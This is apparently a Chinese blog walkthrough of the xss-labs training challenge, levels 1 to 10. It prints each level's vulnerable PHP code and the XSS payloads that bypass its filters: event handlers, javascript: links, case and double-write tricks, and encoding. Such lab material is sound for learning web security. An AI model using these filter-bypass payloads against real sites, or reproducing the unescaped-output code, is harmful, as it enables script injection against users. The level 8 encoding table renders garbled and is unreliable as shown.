XSS-labs通關挑戰(xss challenge)
0x00 xss-labs
??最近在看xss,今天也就來做一下xss-labs通過挑戰,找了好久的原始碼,終于被我給找到了,因為在GitHub上大家也知道那個下載速度,所以,我也就直接轉接到自己的碼云上去了,在這也貼出來,歡迎大家下載使用,
??原始碼鏈接請點擊:https://gitee.com/ruoli-s/xss-labs
??安裝沒啥好說的,直接放進自己搭建好的www目錄下,就可以開始闖關了,xss-labs一共有level 20,做著看吧,
??(其實覺得這些圖片才是我真正想做xss challenge的最大原因
)

0x01 Level 1 無過濾機制

??看了半天,原來引數在URL里放著呢,

??修改引數,頁面也隨之變動,右鍵查看源代碼,發現有跳轉到level 2 的JS,而我們傳入的引數是幾位的,下面就顯示payload的長度,

??OK,直接走代碼:
<script>alert(/xss/)</script>

0x02 Leval 2 閉合標簽

??我們直接輸入level 1 的 payload,發現直接輸出了,這里應該是做了物體轉義,

??F12查看前端代碼:

??第一處就是顯示在頁面上的代碼,第二處是我們輸入的代碼,這里應該是做了轉義,我們構造payload,使用">嘗試閉合input標簽:
"><script>alert(/xss/)</script>

0x03 Leval 3 單引號閉合+htmlspecialchar()函式

??來到Leval 3,我們還是先使用上兩關測驗的payload來驗證:

??發現全部被物體轉義了,我們去看源代碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=https://www.cnblogs.com/ruoli-s/archive/2021/01/16/搜索 />
";
?>
??咳咳,發現對雙引號“做了限制,但是卻放行了單引號',而且居然在value這里也加了htmlspecialchars函式,這種情況我們可以通過事件標簽觸發表單執行,這里開始構造payload:
'onmouseover='alert(/xss/)

??可以看到,在提交之后,沒有立刻彈出,這里我們還需要將滑鼠移動到文本框,讓事件觸發,

補充:
??htmlspecialchars函式
??html事件屬性
0x04 Leval 4 雙引號閉合+添加事件

??我們還是一樣,使用前面測驗過的,先一一過一遍,當然,結果必然是失敗的,那么接下來我們看全端代碼:

??可以發現源代碼對>和<進行了過濾,我們看源代碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=https://www.cnblogs.com/ruoli-s/archive/2021/01/16/搜索 />
';
?>
?確實使用str_replace()對尖括號進行了過濾,而且對單引號'做了防御,所以,我們直接模仿上一題,使用HTML事件,構造payload:
"onmouseover="alert(/xss/)

這里也是成功過關,
0x05 Leval 5 javascript偽協議

終于來到了第五關,我們使用前面的方式都測了一遍,失敗無疑,但是發現了一些其他東西:

??貌似on被做了手腳,我們繼續在o后面輸入其他,發現只有on被替換了,這也就意味著事件是不能用了,

??繼續嘗試發現<script>也被進行了替換<scr_ipt>,

??到這里相信大家都想到了,我們試試大小寫混用:

??咳咳,在線打臉哈,輸出全為小寫,看來人家也是做了大小寫過濾了,

??繼續嘗試看看能否閉合,我們輸入',",<,>,\進行嘗試,發現只有'被物體轉義,那應該就是可以使用"來構造閉合:

??好,該試的都試過了,接下來我們試試 javascript 的偽協議:
??要看javascript偽協議的請點這里
"><a href=javascript:alert(/xss/)>


??最后,我們也是成功的過關了,當然,還是看一下原始碼比較踏實:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=https://www.cnblogs.com/ruoli-s/archive/2021/01/16/搜索 />
';
?>
??也確實如我們猜的一致,分別對on和<script>進行了替換,也做了大小寫過濾,好了,繼續下一關,歐里給,
0x06 Leval 6 大小寫繞過
??順利來到第6關,我們正在徒步前行!!!

??我們直接拿上一關的payload來測驗,當然,也不用想,肯定是行不通的,直接來看前端代碼,哎呦我去,發現了個啥,這次連href也給過濾了,是個狠人,

??我們也測驗一下on,<script>等,發現被過濾的明明白白的,且單引號'也被物體轉義,但是我們也發現了其他的東西,貌似沒有多慮大小寫哈?

??我們直接擼大小寫,使用雙引號">構造閉合:
<ScRipt>alert(/xss/)</scRIpT>

??這里也是成功過關,繼續,沖沖沖!!!
0x07 Leval 7 雙寫繞過
??來到第七關,嗯,這個圖不錯,很魔性有沒有?

??廢話不多說,先來一波,有木有發現還是挺管用的?(●'?'●),

??發現像script這種關鍵字被過濾了,難道是雙寫?我們直接使用雙引號"閉合構造payload:
"><scrscriptipt>alert(/xss/)</scrscriptipt>

??輕松搞定??,下一個,
0x08 Leval 8 編碼繞過
??來到第八關,啥也不是,

??測驗payload,可以看見前面測驗過的基本都過濾了,大小寫也都卡的死死的,但是我們發現前端代碼中直接構造好了<a>標簽,既然這樣,我們不妨試試編碼,看能否繞過:

??這里,筆者自己經過測驗,html物體編碼和hex編碼都可以繞過,我就只放hex編碼吧,看大多數博客上都是HTML物體編碼,不熟悉的可以自己再了解了解,
??我們可以看到,代碼轉換機制是將script中的ri變成了r_i,所以我們只編碼r和i試試:
| 字母 | 十進制 | hex(十六進制) |
|---|---|---|
| r | r | r |
| i | i | i |
??編碼鏈接請點這里
??構造payload:
javascript:alert(/xss/)

干得漂亮,下一關,
0x09 Leval 9 檢測關鍵字
??越看這些圖片越喜歡??,按照慣例,我們還是先搗鼓一番,

??我去,什么情況,該試的基本都試了一遍,這代碼給的是個啥?我們輸入的payload呢??


??不行,待老衲去查看源代碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=https://www.cnblogs.com/ruoli-s/archive/2021/01/16/添加友情鏈接 />
';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="https://www.cnblogs.com/ruoli-s/archive/2021/01/16/您的鏈接不合法?有沒有!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
??牛逼了,牛逼上天了,除了以前做過的所有過濾,竟然還加了個strpos函式,誰都不服就服你,這函式的意思是咱們輸入的字串里面必須要有http://字符,我,吐了呀,這誰能想的到:
??想要更多了解strpos函式的請點這里
??看到這里并沒有對編碼進行過濾,所以我們還是延用上題的payload:
javascript:alert('xsshttp://')

??咳咳,這題,,,挺不人道的,下一個,啥也不是,
0x10 Leval 10 隱藏資訊
??歷經千辛萬苦,終于來到了整個挑戰的一半,嗚嗚嗚,

??噗噗噗,又吐了呀,所有的都試了,為毛又跑到URL鏈接上去了?看代碼神馬都沒得呀,但是冒出了個表單是啥?還在頁面沒有顯示?

??沒辦法,去看原始碼吧,哎,心碎了??
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
??發現沒有?感情keyword引數只是一個迷惑而已呀,真正起作用的是t_sort引數,但是有一個問題,它的type型別是hidden,我們得在前端改為text型別,讓其顯現出來,且后臺只對<>做了過濾,我們可以用事件來構造:
"onmouseover="alert(/xss/)


注意:一定要在前端修改2次type型別,才能完成彈窗,
0x11 Leval 11
持續更新中·····
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/249764.html
標籤:其他
上一篇:js函式function(一)
